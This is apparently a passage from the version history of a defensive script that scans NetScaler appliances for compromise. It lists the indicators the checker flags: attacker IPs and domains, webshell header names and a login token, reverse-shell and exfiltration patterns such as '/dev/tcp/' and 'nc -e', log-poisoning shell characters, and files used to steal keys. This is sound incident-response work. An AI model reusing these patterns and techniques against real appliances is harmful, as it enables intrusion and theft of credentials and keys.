HTTP_X_UX*, oreval/base64_decodeonHTTP_NSC_CLIENTTYPE/HTTP_NSC_LDAP. NetScaler's ownns_guicode usesNSC_headers legitimately and is not searched. - SLAPSHOT tunnel marker
UXD_IDLE_EXIT(Mandiant) in a running process or in a file in/tmp//var/tmp. php_flag engine onor aSetHandlerfor PHP inhttpd.conf(Beazley, CERT-EU).- Cron jobs that delete or empty logs or files (Beazley):
rm,truncate,find … -delete,cat /dev/null >or> /var/log/…on log, temp, core or web folders, in any crontab under/var/cron/tabs. NetScaler's own jobs in/etc/crontabare not flagged. - Suspicious commands in
/nsconfig/nsafter.sh, which runs after every boot (Beazley): Python, decoders,curl/wget/fetch,nc, setuidchmod, or writes into the web folders orhttpd.conf. - Exploit marker files in
/tmp:watchTowr*,wtw*,boom*. The public watchTowr CVE-2026-88772 (DTLS) tool writes a 7-byte marker to/tmp/watchTowr; earlier versions only looked in/var/tmp./tmpis emptied at reboot, so run the checker before you reboot or upgrade. - Open connection to attacker infrastructure now, covering all 42 IPs.
Targeted: attack traffic in the logs (tagged [BEFORE fix] / [after fix])
- 25 more attacker IPs, 42 in total (C2, payload hosts, exfiltration, reverse shells, IR-confirmed exploitation sources; Unit 42's two Cloudflare WARP addresses are left out), and the domains
echvista.comandentretiensol.com. - About 60 opportunistic scanner IPs tagged by GreyNoise, in their own group marked hunting lead only. Many are residential or proxy addresses: don't block on them alone. Cloudflare WARP addresses are left out, because ordinary users share them.
- Broader log-poisoning check (Elastic rule): any
pitbosspacket-engine message inns.logormessageswith a shell character (;, backtick,$(,&&,||, or URL-encoded%3b%60%7c%24%28%26%26%3e%3c). This catches hand-written variants without a known command name after it, such asNSPPE&&id. TheNSPPE-00;variant from Unit 42's detection query is now also recognised by the ARMED check on vulnerable builds. Ordinary watchdog messages are not flagged. - Payload strings (Arctic Wolf):
xd7h/,nsmon,update_c08937,/dev/tcp/,nc -e,base64 -w0,exec-ok, now also searched in/var/log/messages. - Attack payloads in login-page requests in the HTTP logs (Deyda): requests to
doAuthentication.do,/cgi/login,/p/u/doLogon.do,tmindex.htmlorGetUserNamethat containpitboss,NSPPE,%3B,%60,${IFS},curl,wgetorfetch. Still visible afterns.loghas rotated. Normal logins are not flagged. - Likely CVE-2026-88772 attempt (Deyda): when DTLS handshake failures and packet-engine crashes both appear in the logs, the output says so.
- Webshell header names
HTTP_X_UX/HTTP_NSC_LDAP/HTTP_NSC_CLIENTTYPEin the HTTP logs (Deyda), and the Unit 42 webshell's login tokene826d7ddf3c85920. - Base64 PHP (
PD9…) in the User-Agent, e.g. onGET /vpn/media/*.ico: webshell staging through the access log (eSentire). Shown decoded.
Context ([CHECK])
- Crontabs for users other than root and nobody (e.g.
nsroot), with their jobs and when they last changed. nsafter.shchanged in the last 30 days, with its contents, so you can confirm the change was yours.- PHP or XHTML files under
/var/netscaleroutside the management GUI andwebsocketd, with any webshell-like code (eval,system,passthru,base64_decode) listed separately (Deyda). .pl,.rpmand.tgzreferences in thehttperrorlogs, next to.phpand.sh(Deyda).
Not flagged by name
nsginstaller*, nsgclient*.deb and *.sig are also the names of real Citrix client packages. They are only flagged when their content is PHP, a script or webshell code.
Why it matters now
The CVE-2026-88772 tool is public, so the DTLS flaw is easy to exploit. If you cannot patch right now, block UDP/443 or disable DTLS on your Gateway virtual servers.
Attacker IPs and webshell names differ per victim (Kevin Beaumont), so a clean result is never proof of a clean appliance. Use the checker together with the updated Citrix IoC scan in NetScaler Console, run it on both HA nodes, and forward ns.log, /var/log/messages and the HTTP logs to a SIEM: attackers wipe logs.
v1.8
v1.8: reliable fix date for the before/after-fix tags
Fix for a false red. Up to v1.7, the checker used the newest entry of any kind in /var/nsinstall as the moment the fixed build was installed. That folder also holds adc.version, which is rewritten when someone logs on to the NetScaler GUI. After a GUI logon, attacks that came after the patch were tagged [BEFORE fix] and shown as a red [SUSPECT]. Thanks to the World of EUC Slack community for reporting this!
How v1.8 finds the fix date
- The running build's kernel in
/flash(ns-14.1-73.37.gz).installnswrites it once, at install time, and nothing changes it afterwards. - The first boot after that install (
/var/nsinstall/installns_state_post_reboot), or the last boot if it is within 24 hours of the install. That is when the fixed build started running. adc.versionand other files in/var/nsinstallare no longer used. They are only a fallback when/flashcannot be read, and then only the install markers and build archives.
The output now says where the date comes from, for example:
[OK] Fixed build running since 2026-09-27 16:32 (first boot after the install; ns-14.1-73.37.gz installed 2026-09-27 16:29)
Also new
--fixdate "YYYY-MM-DD HH:MM": an optional override if you know better, e.g. from the change record. Normally not needed.- Staged firmware (installed but not yet booted) is now detected from
/flashas well.
If v1.7 or earlier showed [BEFORE fix] lines on an appliance that was patched days earlier, check the "Fixed build installed" line at the top of the IoC sweep. If that date was later than your upgrade, run v1.8 again.
Tested on the file layout of a production HA pair (with a later adc.version and an extra reboot after the upgrade), without the post-reboot marker, without /flash, with a staged kernel on a vulnerable build, and with the real log lines of an appliance attacked before and after its patch.
v1.7
This release adds the indicators from Gotham Technology Group's IoC check (shared with permission) and Manuel Winkel's (Deyda Consulting) triage script v9.17 that the checker did not have yet. Thanks to both, and to Michael Shuster (Ferroque Systems) for his review and feedback on this release!
Important fix: attempts before the patch could be hidden
Up to v1.6, the yellow/red decision for exploitation traffic only looked at the first few lines of each indicator. An attempt before the fix in an older, rotated log could fall outside those lines, and the result was shown as a yellow [CHECK] ("all after the fix") instead of a red [SUSPECT]. Found on a production appliance that was targeted 1.5 hours before it was patched.
v1.7 decides on all matching lines, shows [BEFORE fix] lines first in every group, and says how many came before the fix (for example "9 of 81 lines BEFORE the fix"). If you ran v1.4–v1.6 and got a yellow result, run v1.7 again.
Compromise: a command ran on this box (red)
- Payload files seen in the wild on 29 Sep:
c88771.json(anexprtest) andxua.html(atarof/flash/nsconfig, i.e.ns.confand the SSL keys, disguised as a web page for download) - Any archive disguised as a web file:
.html,.json,.css,.jsor.txtfiles in the web folders whose content is gzip, tar or zip, whatever they are called - Files dropped by the known payloads:
/.x,/s,/tmp/s,/var/tmp/s,lula,/var/1.py,update_c*.pl,themes/wt88771* - Files payloads write stolen data or loaders into:
logon/insight-new.js,admin_ui/e.txt,admin_ui/log.txt. Only path, size and date are shown, never the contents, because they can hold configuration data. - Setuid shell copy in
/var/tmp/sh - Persistence in startup files (
rc.netscaler,ns.conf,/etc/rc): Python one-liners,zlib/base64decoders, and reversed path strings used in earlier NetScaler campaigns - Any text or script file in the Gateway client-package folders, not only PHP
- A payload process running now, or an open connection to campaign infrastructure
- ARMED (vulnerable builds only): injected payload text still waiting in
ns.log,ns.log.0ormessages. The vulnerable daily check runs it at its next run, so upgrade now or shut down / fail over.
On a compromise, the checker now says: don't reboot or upgrade yet, copy the report, /var/log and the files off the box first.
Targeted: attack traffic in the logs (tagged [BEFORE fix] / [after fix])
- Nine more attacker IPs, 17 in total, now also searched in
/var/log/messages - Probes: 1-byte
nsepa.debpre-checks (HTTP 206), thevp_probe_nonexistrecon marker,scanner-probelogins, and requests for.ctxs.receiverper source IP - Key and config theft in the shell history:
/flash/nsconfig/keys,F1.key/F2.key,database.php,LDAPTLS_REQCERT. If found before the fix, rotate keys and passwords. - Apache error-log dates are now tagged before/after the fix too.
Context ([CHECK])
- Hidden files in all web-served folders, and
.dotfiles underLogonPoint/custom - Files changed in the last 3 days at the top of
/and/var, and in/tmpand/var/tmp, where payloads drop files. NetScaler's own files and anything written at boot or upgrade are filtered out. - Processes running download tools or one-liners, and connections from the management plane to public addresses
- Packet engines that restarted after boot: possible CVE-2026-88772, visible even when the crash lines have rotated out of the logs
- Root crontab lines that download something, and
HeadlessChromein the VPN access logs
Other
- Admin CLI commands logged in
ns.log(shell_command=) are no longer counted as attacks. --outreports are defanged: attacker text becomes safe to paste into email or chat (;|&`$<>become_,http:becomeshxxp:). The screen shows the raw text.- Fewer false alarms, tested on a production HA pair: the NetScaler Console Security Advisory scan files in
/var/tmp(*-detection.py, and itslog.txt/results.txtwhen written within 5 minutes of them), NetScaler's ownns_system_backup.pl,install_pre_check.json,.monit.idand_callhome_tmp_file, and root crontab calls tolocalhostare recognised as normal. - Clearer verdict: a vulnerable box now reads "the fixed build covers all eight CVEs in CTX697096". A fixed box with Enhanced ISN still off, in the default partition or any admin partition, now says "CVE-2026-88778 is still open" instead of only "follow-up items above".